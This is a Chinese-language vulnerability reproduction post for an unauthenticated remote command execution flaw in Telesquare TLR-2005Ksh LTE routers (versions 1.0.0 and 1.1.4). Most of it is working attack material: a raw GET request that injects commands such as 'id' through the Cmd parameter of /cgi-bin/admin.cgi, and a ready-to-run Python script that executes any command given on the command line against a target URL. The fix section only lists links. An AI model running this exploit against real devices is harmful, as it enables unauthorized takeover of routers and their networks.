0x00写在前面

本次测试仅供学习使用,如若非法他用,与本平台和发布者无关,需自行负责!

0x01漏洞介绍

Telesquare Tlr-2005Ksh是韩国Telesquare公司的Sk Telecom Lte路由器

Telesquare TLR-2005Ksh 1.0.0和1.1.4版本存在未经授权的远程命令执行漏洞。攻击者可以利用此漏洞在未经Cmd参数授权的情况下执行系统命令并获取服务器权限。

0x02影响版本

Telesquare TLR-2005Ksh 1.0.0和1.1.4版本

0x03漏洞复现

1.访问漏洞环境

2.对漏洞进行复现

 POC (GET)

漏洞复现

GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept-Encoding: gzip

执行id命令

执行ls命令

3.nuclei工具测试(漏洞存在)


4.python工具测试(漏洞存在)

python代码

import sys
import requests
import xml.etree.ElementTree as ET


def get_systemutil_response(url, command):
    endpoint = f"/cgi-bin/admin.cgi?Command=sysCommand&Cmd={command}"
    full_url = url.rstrip('/') + endpoint
    headers = {
        'Referer': url,
    }
    try:
        response = requests.get(full_url, headers=headers)
        if response.status_code == 200:
            print("Response from", full_url)
            #print(response.text)
            root = ET.fromstring(response.text)
            for cmd_result in root.findall('CmdResult'):
                data = cmd_result.text.strip()
                print(data)
        else:
            print("Error: Failed to fetch data. Status code:", response.status_code)
    except requests.exceptions.RequestException as e:
        print("Error:", e)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python script.py <url> <command>")
        sys.exit(1)
    url = sys.argv[1]
    command = sys.argv[2]
    #proxy = {
    #    'http': 'http://127.0.0.1:8080',
    #    'https': 'https://127.0.0.1:8080',
    #}
    get_systemutil_response(url, command)

0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://github.com/wutalent/CVE-2024-29269/blob/main/index.md
https://gist.github.com/win3zz/c26047ae4b182c3619509d537b808d2b
https://twitter.com/win3zz